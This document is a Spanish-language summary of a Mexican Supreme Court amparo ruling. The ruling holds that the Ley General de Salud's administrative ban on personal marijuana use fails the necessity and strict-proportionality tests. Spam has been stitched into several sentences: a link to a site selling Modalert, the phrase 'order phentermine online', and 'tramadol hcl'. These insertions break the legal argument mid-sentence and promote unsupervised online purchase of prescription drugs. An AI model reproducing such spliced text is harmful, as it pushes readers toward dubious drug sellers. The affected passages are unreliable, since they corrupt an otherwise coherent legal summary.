Estudio de fondo
El estudio de fondo del Amparo en Revisión es si la “política prohibicionista” respecto del consumo individual de marihuana establecida por medio de un “sistema de prohibiciones administrativas” previsto en la Ley General de Salud sobre el control de estupefacientes y psicotrópicos limita indebidamente el derecho al libre desarrollo de la personalidad. El sistema de “prohibiciones administrativas” constituye un obstáculo jurídico para poder realizar lícitamente el autoconsumo de marihuana y con ello limita arbitrariamente el derecho al libre desarrollo de la personalidad.
El método propuesto en el Proyecto:
(1) constitucionalidad de los fines perseguidos medida;
(2) idoneidad;
(3) necesidad; y
(4) proporcionalidad en sentido estricto.
La Primera Sala entiende que las normas impugnadas comportan un “sistema de prohibiciones administrativas” que forma parte del marco regulatorio previsto en la Ley General de Salud sobre el control de estupefacientes y psicotrópicos, el cual constituye un obstáculo jurídico para poder realizar lícitamente todas las acciones necesarias para poder estar en posibilidad de llevar a cabo el autoconsumo de marihuana (siembra, cultivo, cosecha, preparación, acondicionamiento, posesión, transporte, etc.).
Para hacer el análisis del control de constitucionalidad de las normas infraconstitucionales a través del principio de proporcionalidad se debe distinguir: alcance del derecho y extensión de su protección.
El análisis de fondo debe considerar si la norma impugnada incide en el alcance o contenido prima facie del derecho al libre desarrollo de la personalidad. Es decir, si la medida legislativa impugnada limita el derecho fundamental.
De acuerdo con la SCJN, la Constitución mexicana otorga una amplia protección a la autonomía de las personas, al garantizar el goce de ciertos bienes que son indispensables para la elección y materialización de los planes de vida que los individuos se proponen. El derecho al libre desarrollo de la personalidad brinda protección a un “área residual de libertad” que no se encuentra cubierta por las otras libertades públicas.
La Suprema Corte ha entendido que el libre desarrollo de la personalidad es un derecho fundamental que deriva del derecho a la dignidad, que a su vez está previsto en el artículo 1º constitucional y se encuentra implícito en los tratados internacionales de derechos humanos suscritos por nuestro país:
De acuerdo con la SCJN, el derecho al libre desarrollo de la personalidad es un derecho cuyos contenidos se construyen jurisprudencialmente. Este derecho comprende un ámbito de autonomía y de elección y materialización de planes de vida que debe ser protegido de la injerencia estatal. Es un “área residual de libertad” que protege “ciertos espacios vitales” en donde cada ser humano es juez de su propia vida. “En este sentido, este derecho es especialmente importante frente a las nuevas amenazas a la libertad individual que se presentan en la actualidad.”
La Primera Sala entiende que efectivamente el derecho fundamental en cuestión permite prima facie que las personas mayores de edad decidan sin interferencia alguna qué tipo de actividades recreativas o lúdicas desean realizar, al tiempo que también permite llevar a cabo todas las acciones o actividades necesarias para poder materializar esa elección. Este derecho permite que las personas pueden decidir sobre las actividades recreativas o lúdicas que quieran hacer y las acciones y actividades necesarias para hacerlo. Dentro de esas actividades se encuentra la libertad de utilizar sustancias que afecten los pensamientos, las emociones y las sensaciones o que pueden aliviar la tensión o percibir por medio de la intensificación de las percepciones o el deseo de nuevas experiencias personales o espirituales. Este derecho puede abarcar https://health-e-child.org/buy-modalert-online/ desde escoger la apariencia personal hasta la identificación sexo-genérica.
Como todo derecho, el libre desarrollo de la personalidad no es definitivo o absoluto. Puede ser limitado por los derechos de los terceros u orden público o constituir una afectación a otros derechos del consumidor que el Estado debe proteger como el derecho a la salud. Por lo que hay que hacer un análisis de la proporcionalidad de la medida legislativa.
III. Análisis de proporcionalidad en sentido amplio de la medida legislativa impugnada
La primera parte del análisis es determinar si la medida legislativa persigue una finalidad constitucionalmente válida. En otras palabras, si el sistema order phentermine online de prohibiciones administrativas tiene una finalidad constitucionalmente adecuada.
Las intervenciones legislativas en derechos o bienes se justifican siempre y cuando dicha intervención no busque ser perfeccionista: no se puede establecer un modelo de virtud. Si el legislador restringe la libertad deberá ser en atención a los daños al derecho a la salud o el orden público. Por lo que se deberá de analizar si el sistema de prohibiciones administrativas tiene la intención y si logra el objetivo de proteger la salud de consumidores y el orden público.
En primer lugar, es preciso identificar los fines que se persiguen con la medida impugnada para posteriormente estar en posibilidad de determinar si éstos resultan constitucionalmente válidos. Esta etapa del análisis presupone la idea de que no cualquier propósito puede justificar la limitación a un derecho fundamental.
De acuerdo con la SCJN, la Ley General de Salud – con base en las exposiciones de motivos de dichas normas- busca un fin válido constitucionalmente porque busca proteger la salud individual del consumidor, la salud pública o social y el orden público. No prohíbe tramadol hcl el consumo por una suerte de degradación moral o establecer un modelo de vida. La Constitución no impone un ideal de excelencia humana o un determinado modelo de virtud.
Una vez validada la finalidad de la Ley General de Salud, es necesario hacer un análisis pormenorizado de acuerdo con un test de proporcionalidad.
En ese test lo primero es analizar la idoneidad de la medida. De acuerdo con la SCJN, la idoneidad supone una relación empírica entre la intervención del Derecho y el fin que persigue la y debe mostrarse a partir de acontecimientos científicos o convicciones sociales generalmente aceptadas. En ese sentido la pregunta es si la marihuana causa alguna afectación a la salud, aunque sea mínima, porque en ese sentido si generaría una afectación la medida sería idónea. En general se han considerado como afectaciones a la salud producidas por la marihuana. Para superar el examen de idoneidad basta con que dichas afectaciones existan, sin importar el grado o entidad que tengan.
Esta Primera Sala concluye que existe evidencia para considerar que el consumo de marihuana efectivamente causa diversas afectaciones en la salud de las personas. En este sentido, si bien en términos generales puede decirse que se trata de daños de escasa entidad, ello no es obstáculo para concluir que en el caso concreto el “sistema de prohibiciones administrativas” conformado por los artículos impugnados efectivamente es una medida idónea para proteger la salud de las personas. Igualmente, los estudios analizados sí permiten concluir que el consumo de marihuana entre los conductores es un factor que aumenta la probabilidad de causar accidentes vehiculares, lo que significa que la medida impugnada únicamente en este aspecto también es una medida idónea para proteger el orden público.
El examen de necesidad implica corroborar, en primer lugar, si existen otros medios con un grado de idoneidad igual o superior para lograr los fines que se persiguen y, en segundo lugar, determinar si estas alternativas intervienen con menor intensidad el derecho fundamental afectado. Dicho escrutinio puede acotarse ponderando aquellas medidas que el legislador consideró adecuadas para situaciones similares o bien las alternativas que en el derecho comparado se han diseñado para regular el mismo fenómeno.
Con base en ese examen, la SCJN determina que el “sistema de prohibiciones administrativas” configurado por los artículos impugnados constituye una medida innecesaria, toda vez que existen medidas alternativas igualmente idóneas para proteger la salud y el orden público que intervienen el derecho fundamental en un grado menor. Así, esta Primera Sala considera que la prohibición del consumo personal de marihuana con fines lúdicos es inconstitucional al no superar esta grada del test de proporcionalidad.
El test de proporcionalidad busca evidenciar el desequilibrio entre la intensa afectación al derecho al libre desarrollo de la personalidad frente al grado mínimo en que se satisfacen los fines legislativos a través de la prohibición al consumo de marihuana.
El examen de proporcionalidad en sentido estricto consiste en realizar un balance o ponderación entre dos principios que compiten en un caso concreto. Este análisis requiere comparar el grado de intervención en el derecho fundamental que supone la medida legislativa examinada frente el grado de realización del fin perseguido por ésta. Dicho de otra manera, en esta fase del escrutinio se requiere realizar una ponderación entre los beneficios que cabe esperar de una limitación desde la perspectiva de los fines que se persiguen con los costos que necesariamente se producirán desde la perspectiva de los derechos fundamentales afectados.
En efecto, resulta evidente que una intervención en un derecho fundamental que prohíba totalmente la realización de una conducta amparada por ese derecho será más intensa que una intervención que se concrete a prohibir o a regular en ciertas condiciones el ejercicio de ese derecho. Desde este punto de vista, la afectación al libre desarrollo de la personalidad que comporta el “sistema de prohibiciones administrativas” regulado en la Ley General de Salud puede calificarse como muy intensa, pues consiste en una prohibición prácticamente absoluta para consumir la marihuana y realizar las actividades relacionadas con el autoconsumo de ésta, de tal manera que suprime todas las posiciones jurídicas en las podría ejercerse el derecho. En este sentido, la medida analizada no se circunscribe a regular la forma y lugar en que pueden realizarse dichas actividades ateniendo a las finalidades constitucionalmente válidas que efectivamente tienen esos artículos, como podría haberlo hecho el legislador, sino que directamente prohíbe todas esas conductas.
Así, desde un análisis de proporcionalidad en estricto sentido, sólo estaría justificado que se limitara severamente el contenido prima facie del derecho al libre desarrollo de la personalidad si también fueran muy graves los daños asociados al consumo de marihuana que se intentan evitar con el “sistema de prohibiciones administrativas” sobre el consumo de marihuana. Por el contrario, si la medida legislativa sólo logra evitar o prevenir daños menores, entonces resulta desproporcionado que el legislador recurra a una prohibición absoluta que afecta severamente el libre desarrollo de la personalidad.
Así, a pesar de que el “sistema de prohibiciones administrativas” conformado por los artículos de la Ley General de Salud impugnados por los quejosos supera las dos primeras gradas del examen de proporcionalidad, al haberse establecido que se trata de una medida que busca proteger la salud y el orden público y resulta idónea para alcanzar dichos objetivos, esta Primera Sala considera que se trata de una medida que no sólo innecesaria, al existir medios alternativos igualmente idóneos que afectan en un menor grado el derecho al libre desarrollo de la personalidad, sino que además es desproporcionada en estricto sentido, toda vez que genera una protección mínima a la salud y orden público frente a la intensa intervención al derecho de las personas a decidir qué actividades lúdicas desean realizar.
Efectos de la sentencia de amparo
Suprema Corte de Justicia de la Nación considera que son inconstitucionales los artículos 235, último párrafo, 237, 245, fracción I, 247, último párrafo, y 248, todos de la Ley General de Salud, por los motivos expresados a lo largo de la presente sentencia, debiéndose tener en consideración que dicha declaratoria de inconstitucionalidad se circunscribe exclusivamente a las porciones normativas que se refieren al estupefaciente “cannabis” (sativa, índica y americana, su resina, preparados y semillas) y el psicotrópico “THC” (tetrahidrocannabinol, los siguientes isómeros: Δ6a (10a), Δ6a (7), Δ7, Δ8, Δ9, Δ10, Δ9 (11) y sus variantes estereoquímicas), en conjunto conocidos como “marihuana”; en el entendido de que dicha declaratoria de inconstitucionalidad no tiene el alcance de permitir la emisión de una autorización en favor de los recurrentes que incluya actos de comercio, suministro o cualquier otro que se refiera a la enajenación y/o distribución de las substancias antes señaladas.
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